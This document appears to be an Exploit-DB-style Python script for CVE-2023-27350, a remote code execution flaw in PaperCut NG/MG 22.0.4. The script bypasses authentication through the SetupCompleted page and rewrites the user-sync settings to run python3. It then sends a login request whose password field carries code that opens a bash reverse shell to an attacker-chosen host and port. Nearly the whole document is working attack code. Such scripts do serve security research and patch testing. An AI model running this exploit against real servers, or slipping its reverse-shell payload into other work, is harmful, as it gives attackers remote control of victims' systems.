# Exploit Title: PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE) # Date: 13 May 2023 # Exploit Author: Mohin Paramasivam (Shad0wQu35t) and MaanVader # Vendor Homepage: https://www.papercut.com/ # Version: 8.0 or later # Tested on: 22.0.4 # CVE: CVE-2023-27350 import requests import argparse Group_payload = { "service":"direct/1/OptionsUserSync/$OptionsUserSource.$Form", "sp":"S0", "Form0":"$Hidden,$Hidden$0,$Hidden$1,$PropertySelection,$Hidden$2,$Hidden$3,$Hidden$4,$Hidden$5,$Hidden$6,$Hidden$7,$Hidden$8,$Hidden$9,$Hidden$10,$Hidden$11,$Hidden$12,$Hidden$13,$Hidden$14,$TextField,$TextField$0,$RadioGroup,$Submit,$Checkbox$2,primaryCardIdLength,$Checkbox$3,secondaryCardIdLength,$Checkbox$5,$Hidden$15,$Hidden$16,$Hidden$17,$Hidden$18,$Hidden$19,$Hidden$20,$Hidden$21,$PropertySelection$4,$TextField$13,$Checkbox$6,$TextField$14,$TextField$15,$TextField$16,$RadioGroup$0,$Submit$1,$PropertySelection$5,$TextField$17,$PropertySelection$6,$TextField$18,primaryCardId2Length,$PropertySelection$7,$TextField$19,secondaryCardId2Length,$Checkbox$7,$TextField$20,$Checkbox$8,$Checkbox$9,$Checkbox$10,$Submit$2,$Submit$3,$Submit$4,$Submit$5", "$Hidden":"Sf278fd737ffcaed6eb3d1f67c2ba5c6d", "$Hidden$0":"F", "$Hidden$1":"F", "$Hidden$2":"OH4sIAAAAAAAAAJWQwUrDQBCGp60VBBUp4lWRnncRPIjSg4iHwrYNpBU8xXW7JitJdp1sis2hF5_BlxBP-lw-gF50Y2Mp6MW5DTP_fP8_z2_QzBDotSqI4UaiyC0xIg1JJnGihCQDY5VOs5HrfZ2jkMOpkVeHny8bD8VeHVa6sBYYVBqVnTLYCnhuIw91iDzxuI0stNgtn3Aa8zSkvkWVhies1MTc3mhMLBwzR6c_dFrSaUWnf9LbXqV1h3aCfDFbwt7BDGr3CO3fwXKrYsK04LEq5Pg8zZPex26j87i-XQdwkn2NIeGGi0gSoZPE4Ulpnki3mpFS8N556r4eXBR1qDFoqj5P5BxoLKyejfzhoAcAYzNDOPrnZxfZoKrWt6nN8odzG6WB5aFjNk77l-YLeZfbs8sBAAA.", "$Hidden$3":"F", "$Hidden$4":"X", "$Hidden$5":"X", "$Hidden$6":"X", "$Hidden$7":"X", "$Hidden$8":"X", "$Hidden$9":"X", "$Hidden$10":"X", "$Hidden$11":"X", "$Hidden$12":"X", "$Hidden$13":"F", "$Hidden$14":"X", "$Hidden$15":"F", "$Hidden$16":"S", "$Hidden$17":"S", "$Hidden$18":"S", "$Hidden$19":"S", "$Hidden$20":"F", "$Hidden$21":"SSTANDARD_UNIX", "$PropertySelection":"3,CUSTOM", "$TextField":"/usr/bin/python3", "$TextField$0":"/usr/bin/python3", "$RadioGroup":"0", "primaryCardIdLength":"8", "secondaryCardIdLength":"8", "$PropertySelection$4":"0,STANDARD_UNIX", "$TextField$13":"", "$TextField$14":"", "$TextField$15":"", "$TextField$16":"", "$RadioGroup$0":"0", "$PropertySelection$5":"NONE", "$TextField$17":"", "$PropertySelection$6":"NONE", "$TextField$18":"employeeNumber", "primaryCardId2Length":"8", "$PropertySelection$7":"NONE", "$TextField$19":"", "secondaryCardId2Length":"8", "$TextField$20":"", "$Submit$4":"Apply" } parser = argparse.ArgumentParser(description="Papercut RCE") parser.add_argument('--url',help='Url of the vunerable application example http://10.2.3.4:9191 dont need the trailing /') parser.add_argument('--ip',help='our rev shell ip') parser.add_argument('--port',help='our rev shell port') args = parser.parse_args() url = args.url ip = args.ip port = args.port passwd_input = f"import os;os.system(\"/bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'\")" final_payload = { "service":"direct/1/Home/$Form$0", "sp":"S0", "Form0":"$Hidden$0,$Hidden$1,inputUsername,inputPassword,$PropertySelection$0,$Submit$0", "$Hidden$0":"true", "$Hidden$1":"X", "inputUsername":"help", "inputPassword":passwd_input, "$PropertySelection$0":"en", "$Submit$0":"Log+in" } # create a session session = requests.Session() # visit the first URL to set up the session setup_url = url+"/app?service=page/SetupCompleted" response = session.get(setup_url) response.raise_for_status() # check for any errors # visit the second URL using the same session dashboard_url = url+"/app?service=page/Dashboard" response = session.get(dashboard_url) response.raise_for_status() # check for any errors # URL to change user group user_group_change_url = url+"/app" response = session.post(user_group_change_url,data=Group_payload) response.raise_for_status() # check for errors # URL to gain RCE rce_url = url+"/app" response = session.post(rce_url,data=final_payload) response.raise_for_status() # Check for any errors # print the response text print(response.text)